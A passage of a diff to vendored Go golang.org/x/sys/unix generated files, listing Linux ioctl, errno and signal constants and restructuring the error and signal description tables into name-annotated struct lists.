-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETD = 0x5423
-+ TIOCSIG = 0x40045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSPGRP = 0x5410
-+ TIOCSPTLCK = 0x40045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTI = 0x5412
-+ TIOCSWINSZ = 0x5414
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x100
-+ TUNATTACHFILTER = 0x401054d5
-+ TUNDETACHFILTER = 0x401054d6
-+ TUNGETDEVNETNS = 0x54e3
-+ TUNGETFEATURES = 0x800454cf
-+ TUNGETFILTER = 0x801054db
-+ TUNGETIFF = 0x800454d2
-+ TUNGETSNDBUF = 0x800454d3
-+ TUNGETVNETBE = 0x800454df
-+ TUNGETVNETHDRSZ = 0x800454d7
-+ TUNGETVNETLE = 0x800454dd
-+ TUNSETCARRIER = 0x400454e2
-+ TUNSETDEBUG = 0x400454c9
-+ TUNSETFILTEREBPF = 0x800454e1
-+ TUNSETGROUP = 0x400454ce
-+ TUNSETIFF = 0x400454ca
-+ TUNSETIFINDEX = 0x400454da
-+ TUNSETLINK = 0x400454cd
-+ TUNSETNOCSUM = 0x400454c8
-+ TUNSETOFFLOAD = 0x400454d0
-+ TUNSETOWNER = 0x400454cc
-+ TUNSETPERSIST = 0x400454cb
-+ TUNSETQUEUE = 0x400454d9
-+ TUNSETSNDBUF = 0x400454d4
-+ TUNSETSTEERINGEBPF = 0x800454e0
-+ TUNSETTXFILTER = 0x400454d1
-+ TUNSETVNETBE = 0x400454de
-+ TUNSETVNETHDRSZ = 0x400454d8
-+ TUNSETVNETLE = 0x400454dc
-+ UBI_IOCATT = 0x40186f40
-+ UBI_IOCDET = 0x40046f41
-+ UBI_IOCEBCH = 0x40044f02
-+ UBI_IOCEBER = 0x40044f01
-+ UBI_IOCEBISMAP = 0x80044f05
-+ UBI_IOCEBMAP = 0x40084f03
-+ UBI_IOCEBUNMAP = 0x40044f04
-+ UBI_IOCMKVOL = 0x40986f00
-+ UBI_IOCRMVOL = 0x40046f01
-+ UBI_IOCRNVOL = 0x51106f03
-+ UBI_IOCRPEB = 0x40046f04
-+ UBI_IOCRSVOL = 0x400c6f02
-+ UBI_IOCSETVOLPROP = 0x40104f06
-+ UBI_IOCSPEB = 0x40046f05
-+ UBI_IOCVOLCRBLK = 0x40804f07
-+ UBI_IOCVOLRMBLK = 0x4f08
-+ UBI_IOCVOLUP = 0x40084f00
-+ VDISCARD = 0xd
-+ VEOF = 0x4
-+ VEOL = 0xb
-+ VEOL2 = 0x10
-+ VMIN = 0x6
-+ VREPRINT = 0xc
-+ VSTART = 0x8
-+ VSTOP = 0x9
-+ VSUSP = 0xa
-+ VSWTC = 0x7
-+ VT1 = 0x4000
-+ VTDLY = 0x4000
-+ VTIME = 0x5
-+ VWERASE = 0xe
-+ WDIOC_GETBOOTSTATUS = 0x80045702
-+ WDIOC_GETPRETIMEOUT = 0x80045709
-+ WDIOC_GETSTATUS = 0x80045701
-+ WDIOC_GETSUPPORT = 0x80285700
-+ WDIOC_GETTEMP = 0x80045703
-+ WDIOC_GETTIMELEFT = 0x8004570a
-+ WDIOC_GETTIMEOUT = 0x80045707
-+ WDIOC_KEEPALIVE = 0x80045705
-+ WDIOC_SETOPTIONS = 0x80045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4
-+ XTABS = 0x1800
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1871,23 +493,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x23)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1904,8 +518,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1913,103 +525,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2020,171 +599,179 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "EMULTIHOP", "multihop attempted"},
-+ {73, "EDOTDOT", "RFS specific error"},
-+ {74, "EBADMSG", "bad message"},
-+ {75, "EOVERFLOW", "value too large for defined data type"},
-+ {76, "ENOTUNIQ", "name not unique on network"},
-+ {77, "EBADFD", "file descriptor in bad state"},
-+ {78, "EREMCHG", "remote address changed"},
-+ {79, "ELIBACC", "can not access a needed shared library"},
-+ {80, "ELIBBAD", "accessing a corrupted shared library"},
-+ {81, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {82, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {83, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {84, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {85, "ERESTART", "interrupted system call should be restarted"},
-+ {86, "ESTRPIPE", "streams pipe error"},
-+ {87, "EUSERS", "too many users"},
-+ {88, "ENOTSOCK", "socket operation on non-socket"},
-+ {89, "EDESTADDRREQ", "destination address required"},
-+ {90, "EMSGSIZE", "message too long"},
-+ {91, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {92, "ENOPROTOOPT", "protocol not available"},
-+ {93, "EPROTONOSUPPORT", "protocol not supported"},
-+ {94, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {95, "ENOTSUP", "operation not supported"},
-+ {96, "EPFNOSUPPORT", "protocol family not supported"},
-+ {97, "EAFNOSUPPORT", "address family not supported by protocol"},
-+ {98, "EADDRINUSE", "address already in use"},
-+ {99, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {100, "ENETDOWN", "network is down"},
-+ {101, "ENETUNREACH", "network is unreachable"},
-+ {102, "ENETRESET", "network dropped connection on reset"},
-+ {103, "ECONNABORTED", "software caused connection abort"},
-+ {104, "ECONNRESET", "connection reset by peer"},
-+ {105, "ENOBUFS", "no buffer space available"},
-+ {106, "EISCONN", "transport endpoint is already connected"},
-+ {107, "ENOTCONN", "transport endpoint is not connected"},
-+ {108, "ESHUTDOWN", "cannot send after transport endpoint shutdown"},
-+ {109, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {110, "ETIMEDOUT", "connection timed out"},
-+ {111, "ECONNREFUSED", "connection refused"},
-+ {112, "EHOSTDOWN", "host is down"},
-+ {113, "EHOSTUNREACH", "no route to host"},
-+ {114, "EALREADY", "operation already in progress"},
-+ {115, "EINPROGRESS", "operation now in progress"},
-+ {116, "ESTALE", "stale file handle"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EDQUOT", "disk quota exceeded"},
-+ {123, "ENOMEDIUM", "no medium found"},
-+ {124, "EMEDIUMTYPE", "wrong medium type"},
-+ {125, "ECANCELED", "operation canceled"},
-+ {126, "ENOKEY", "required key not available"},
-+ {127, "EKEYEXPIRED", "key has expired"},
-+ {128, "EKEYREVOKED", "key has been revoked"},
-+ {129, "EKEYREJECTED", "key was rejected by service"},
-+ {130, "EOWNERDEAD", "owner died"},
-+ {131, "ENOTRECOVERABLE", "state not recoverable"},
-+ {132, "ERFKILL", "operation not possible due to RF-kill"},
-+ {133, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "bus error",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "user defined signal 1",
-- 11: "segmentation fault",
-- 12: "user defined signal 2",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "stack fault",
-- 17: "child exited",
-- 18: "continued",
-- 19: "stopped (signal)",
-- 20: "stopped",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "urgent I/O condition",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "I/O possible",
-- 30: "power failure",
-- 31: "bad system call",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGBUS", "bus error"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGUSR1", "user defined signal 1"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGUSR2", "user defined signal 2"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGSTKFLT", "stack fault"},
-+ {17, "SIGCHLD", "child exited"},
-+ {18, "SIGCONT", "continued"},
-+ {19, "SIGSTOP", "stopped (signal)"},
-+ {20, "SIGTSTP", "stopped"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGURG", "urgent I/O condition"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGIO", "I/O possible"},
-+ {30, "SIGPWR", "power failure"},
-+ {31, "SIGSYS", "bad system call"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go
-index 900f568a..4826bd70 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go
-@@ -3,7 +3,7 @@
-
- // +build mips,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go
-
- package unix
-@@ -11,1873 +11,489 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40041270
-- BLKBSZSET = 0x80041271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40041272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
